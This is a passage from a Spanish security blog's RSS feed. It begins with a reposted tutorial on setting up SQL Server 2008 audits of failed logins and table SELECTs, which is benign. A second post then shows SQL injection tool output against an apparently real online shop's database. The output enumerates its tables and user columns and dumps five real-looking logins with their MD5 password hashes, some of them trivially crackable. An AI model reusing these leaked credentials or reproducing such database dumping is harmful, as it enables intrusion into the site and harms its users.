Ambos objetos estarán localizados bajo la carpeta Audits, como se muestra a continuación. Este objeto de auditoría se utilizará para rastrear las transacciones SELECT realizadas contra la tabla HumanResources.Employee de la base de datos AdventureWorks2008R2.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/3554.Fig3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/3554.Fig3.png&quot; width=&quot;279&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Si desea crear un objeto de auditoría a través de T-SQL lo puede hacer utilizando el comando CREATE SERVER AUDIT. La siguiente consulta crea el objeto &lt;b&gt;&quot;AuditarConsultasTablaEmpleado&quot;&lt;/b&gt;. Esta operación fue realizada anteriormente a través de SSMS.&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:sql&quot;&gt;#&lt;br /&gt;USE master&lt;br /&gt;CREATE SERVER AUDIT [AuditarConsultasTablaEmpleado]&lt;br /&gt;TO FILE  (FILEPATH = N&#39;C:\TEMP&#39;);&lt;br /&gt;#&lt;/pre&gt;&lt;br /&gt;&lt;h1&gt;CREAR Y HABILITAR UNA ESPECIFICACIÓN DE AUDITORÍA A NIVEL DE SERVIDOR&lt;/h1&gt;Una vez se ha creado los objetos de auditoría, el siguiente paso es crear las especificaciones apropiadas de auditoría. Las especificaciones de auditoría le indican al objeto de auditoría lo que debe rastrear. En el caso del objeto de auditoría llamado &lt;b&gt;&quot;AuditarLoginsFallidos&quot;&lt;/b&gt;, debemos crear una especificación que busque los logins que no son exitosos. Para lograrlo debemos seleccionar el botón de la derecha del mouse sobre la carpeta &lt;b&gt;&quot;Server Audit Specifications&quot;&lt;/b&gt; ubicada bajo el árbol de Seguridad.&lt;br /&gt;&lt;br /&gt;Asigne a la especificación de auditoría el nombre: &lt;b&gt;&quot;EspecificacionAuditoriaServidor-LoginsFallidos&quot;&lt;/b&gt;. Bajo audit seleccione la opción &lt;b&gt;&quot;AuditarLoginsFallidos&quot;&lt;/b&gt;. Esto asignará la especificación de auditoría &lt;b&gt;&quot;EspecificacionAuditoriaServidor-LoginsFallidos&quot;&lt;/b&gt; al objeto de auditoría &lt;b&gt;&quot;AuditarLoginsFallidos&quot;&lt;/b&gt;. Seleccione el tipo de acción para auditar: &lt;b&gt;&quot;FAILED_LOGIN_GROUP&quot;&lt;/b&gt; y presione OK para crear y asignar el objeto de auditoría.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/3005.Fig4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;111&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/3005.Fig4.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Presione el botón de la derecha del mouse sobre &lt;b&gt;&quot;EspecificacionAuditoriaServidor-LoginsFallidos&quot;&lt;/b&gt; para habilitar la especificación a través de la opción: &lt;b&gt;&quot;Enable Server Audit Specification&quot;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/3683.Fig5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;146&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/3683.Fig5.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Finalmente debe habilitar el objeto de auditoría presionando el botón de la derecha del mouse sobre &lt;b&gt;&quot;AuditarLoginsFallidos&quot;&lt;/b&gt; para habilitar la auditoria a través de la opción Enable Audit como se muestra en la siguiente figura.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/0523.Fig6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;141&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/0523.Fig6.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Si desea crear una especificación de auditoría a nivel de servidor, a través de T-SQL, lo puede hacer utilizando el comando CREATE SERVER AUDIT SPECITICATION. La siguiente consulta crea la especificación de auditoría &lt;b&gt;&quot;EspecificacionAuditoriaServidor-LoginsFallidos&quot;&lt;/b&gt;. Esta operación fue realizada anteriormente a través de SSMS.&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush:sql&quot;&gt;#&lt;br /&gt;USE master&lt;br /&gt;CREATE SERVER AUDIT SPECIFICATION [EspecificacionAuditoriaServidor-LoginsFallidos]&lt;br /&gt;FOR SERVER AUDIT [AuditarLoginsFallidos]&lt;br /&gt;ADD (FAILED_LOGIN_GROUP) WITH (STATE = ON)&lt;br /&gt;GO&lt;br /&gt;#&lt;/pre&gt;&lt;br /&gt;&lt;h1&gt;CREAR Y HABILITAR UNA ESPECIFICACIÓN DE AUDITORÍA A NIVEL DE BASE DE DATOS&lt;/h1&gt;Para crear y habilitar una especificación de auditoría a nivel de base de datos debe expandir la base de datos, en este ejemplo utilice AdventureWorks2008R2, y seleccione con el botón de la derecha del mouse la opción &lt;b&gt;&quot;Audit Specifications&quot;&lt;/b&gt; bajo el árbol de seguridad de la base de datos. Seleccione la opción &lt;b&gt;&quot;New Database Audit Specification&quot;&lt;/b&gt; y asigne un nombre &lt;i&gt;(para propósito de este ejemplo asignaremos el nombre: &lt;b&gt;&quot;EspecificacionAuditoriaDB-ConsultasTablaEmpleado&quot;&lt;/b&gt;)&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/4861.Fig7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;304&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/4861.Fig7.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Como se muestra en la siguiente figura, seleccione la opción &lt;b&gt;&quot;AuditarConsultasTablaEmpleado&quot;&lt;/b&gt; Bajo audit. Esto asignará la especificación de auditoría &lt;b&gt;&quot;EspecificacionAuditoriaDB-ConsultasTablaEmpleado&quot;&lt;/b&gt; al objeto de auditoría &lt;b&gt;&quot;AuditarConsultasTablaEmpleado&quot;&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;NOTA:&lt;/b&gt; La clase de objeto se utiliza para indicar lo que se quiere auditar. Las opciones son: Objeto, Base de datos o Esquema. Seleccione objeto para auditar Tablas, Funciones, Procedimientos Almacenados o Vistas. El nombre del Principal son entidades que pueden solicitar recursos de SQL Server.&lt;/blockquote&gt;&lt;br /&gt;Para propósitos de este ejemplo, seleccione &lt;b&gt;&quot;SELECT&quot;&lt;/b&gt; en el tipo de acción para auditar; en la clase del objeto seleccione &lt;b&gt;&quot;OBJECT&quot;&lt;/b&gt;; en el nombre del objeto ingrese [HumanResources].[Employee]; en el nombre del Principal ingrese [public] y presione OK para crear y asignar el objeto de auditoría.&lt;br /&gt;&lt;br /&gt;Esto permite rastrear las consultas con SELECT que realizan todos los usuarios a la tabla [HumanResources].[Employee].&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/3782.Fig8.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;64&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/3782.Fig8.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Presione el botón de la derecha del mouse sobre &lt;b&gt;&quot;EspecificacionAuditoriaDB-ConsultasTablaEmpleado&quot;&lt;/b&gt; para habilitar la especificación a través de la opción: &lt;b&gt;&quot;Enable Database Audit Specification&quot;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/1185.Fig9.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;170&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/1185.Fig9.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Finalmente debe habilitar el objeto de auditoría presionando el botón de la derecha del mouse sobre &lt;b&gt;&quot;AuditarConsultasTablaEmpleado&quot;&lt;/b&gt; para habilitar la auditoria a través de la opción Enable Audit como se muestra en la siguiente figura.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/7506.Fig10.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;154&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/7506.Fig10.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Si desea crear una especificación de auditoría a nivel de base de datos, a través de T-SQL, lo puede hacer utilizando el comando CREATE DATABASE AUDIT SPECITICATION. La siguiente consulta crea la especificación de auditoría &lt;b&gt;&quot;EspecificacionAuditoriaDB-ConsultasTablaEmpleado&quot;&lt;/b&gt;. Esta operación fue realizada anteriormente a través de SSMS.&lt;br /&gt;&lt;br /&gt;&lt;pre class=&quot;brush: sql&quot;&gt;#&lt;br /&gt;USE master&lt;br /&gt;CREATE DATABASE AUDIT SPECIFICATION [DatabaseAuditSpec-EmployeesTable]&lt;br /&gt;FOR SERVER AUDIT [Audit-EmployeeQueries]&lt;br /&gt;ADD (SELECT ON OBJECT::[HumanResources].[Employee] BY [public])&lt;br /&gt;WITH (STATE = ON)&lt;br /&gt;GO&lt;br /&gt;#&lt;/pre&gt;&lt;br /&gt;&lt;h1&gt;VISUALIZAR LOS REGISTROS DE AUDITORÍA&lt;/h1&gt;Los registros de auditoría pueden ser accedidos a través la opción &lt;b&gt;&quot;View Audit Logs&quot;&lt;/b&gt; o a través de la bitácora de eventos de aplicaciones o de seguridad, dependiendo de dónde se especificó que se almacenaría la auditoría.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/3443.Fig11.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;214&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/3443.Fig11.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/1007.Fig12.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;87&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/1007.Fig12.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Los resultados pueden ser filtrados o inclusive hasta exportados en los siguientes formatos: &lt;i&gt;log&lt;/i&gt;, &lt;i&gt;csv&lt;/i&gt; y &lt;i&gt;txt&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/1854.Fig13.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;61&quot; src=&quot;http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-89-31/1854.Fig13.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h1&gt;CONCLUSIÓN&lt;/h1&gt;La auditoría en SQL 2008 Enterprise es muy poderosa y flexible ya que permite crear auditorías a nivel de servidor o a nivel de base de datos. La configuración es sencilla ya que solo se requiere especificar donde se almacenará la auditoría &lt;i&gt;(en un archivo, la bitácora de eventos de aplicaciones o la bitácora de eventos de seguridad)&lt;/i&gt;, que objeto se desea auditar &lt;i&gt;(Base de datos, Esquema, Tablas, Funciones, Procedimientos Almacenados o Vistas)&lt;/i&gt; y para cual Principal  &lt;i&gt;(entidades que pueden solicitar recursos de SQL Server)&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Leido en:&lt;/b&gt; &lt;a href=&quot;http://blogs.technet.com/b/pfelatam/archive/2011/10/22/auditor-237-a-de-seguridad-en-sql-server-2008.aspx&quot;&gt;blogs.technet.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2011/12/auditoria-de-seguridad-en-sql-server_3466.html</link><author>noreply@blogger.com (Alex Jurado)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-1669308192023324802</guid><pubDate>Thu, 24 Nov 2011 06:09:00 +0000</pubDate><atom:updated>2013-02-28T14:55:51.816-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">iSQL</category><title>VENTAS POR INTERNET? MIS POLAINAS</title><description>&lt;div class=&quot;contenido-post&quot;&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-uAgdYLMMbv8/Ts3fapiRiRI/AAAAAAAAANQ/ArKQakAHncI/s1600/Pantallazo+del+2011-11-24+01%253A08%253A18.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-uAgdYLMMbv8/Ts3fapiRiRI/AAAAAAAAANQ/ArKQakAHncI/s1600/Pantallazo+del+2011-11-24+01%253A08%253A18.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;TABLAS&lt;/b&gt;&lt;br /&gt;&lt;pre class=&quot;brush:javascript&quot;&gt;Count(table_name) of information_schema.tables Where table_schema=0x73756E72697365 is 24&lt;br /&gt;Table found: cargo&lt;br /&gt;Table found: cart&lt;br /&gt;Table found: categoria&lt;br /&gt;Table found: coleccion&lt;br /&gt;Table found: configuracion_compra&lt;br /&gt;Table found: costo_envio&lt;br /&gt;Table found: item_orden&lt;br /&gt;Table found: item_pedido&lt;br /&gt;Table found: moneda&lt;br /&gt;Table found: orden_compra&lt;br /&gt;Table found: pedido&lt;br /&gt;Table found: producto&lt;br /&gt;Table found: talla&lt;br /&gt;Table found: tallaje&lt;br /&gt;Table found: tbl_cart&lt;br /&gt;Table found: tbl_category&lt;br /&gt;Table found: tbl_costo_envio&lt;br /&gt;Table found: tbl_currency&lt;br /&gt;Table found: tbl_order&lt;br /&gt;Table found: tbl_order_item&lt;br /&gt;Table found: tbl_product&lt;br /&gt;Table found: tbl_shop_config&lt;br /&gt;Table found: tbl_user&lt;br /&gt;Table found: user_sunrise&lt;br /&gt;&lt;/pre&gt;&lt;b&gt;COLUMNAS&lt;/b&gt;&lt;br /&gt;&lt;pre class=&quot;brush:javascript&quot;&gt;Count(column_name) of information_schema.columns Where table_schema=0x73756E72697365 AND table_name=0x757365725F73756E72697365 is 8&lt;br /&gt;Column found: codigo&lt;br /&gt;Column found: nombres&lt;br /&gt;Column found: apellidos&lt;br /&gt;Column found: login&lt;br /&gt;Column found: passw&lt;br /&gt;Column found: fecha_creacion&lt;br /&gt;Column found: ultima_logiada&lt;br /&gt;Column found: cargo&lt;br /&gt;&lt;/pre&gt;&lt;b&gt;REGISTROS&lt;/b&gt;&lt;br /&gt;&lt;pre class=&quot;brush:javascript&quot;&gt;Count(*) of sunrise.user_sunrise is 5&lt;br /&gt;Data Found: login=a&lt;br /&gt;Data Found: passw=21232f297a57a5a743894a0e4a801fc3&lt;br /&gt;&lt;br /&gt;Data Found: login=admin&lt;br /&gt;Data Found: passw=5d88365b1893e60e28794e7e6c19c55d&lt;br /&gt;&lt;br /&gt;Data Found: login=greenday&lt;br /&gt;Data Found: passw=0cc175b9c0f1b6a831c399e269772661&lt;br /&gt;&lt;br /&gt;Data Found: login=mercadeo&lt;br /&gt;Data Found: passw=80735228c8e9b43410f2b207f0e54fb0&lt;br /&gt;&lt;br /&gt;Data Found: login=webmaster&lt;br /&gt;Data Found: passw=009c5a054c0cb6c14a194de438ee5552&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2011/11/ventas-por-internet-mis-polainas_5702.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-uAgdYLMMbv8/Ts3fapiRiRI/AAAAAAAAANQ/ArKQakAHncI/s72-c/Pantallazo+del+2011-11-24+01%253A08%253A18.png" height="72" width="72"/><thr:total>0</thr:total></item></channel></rss>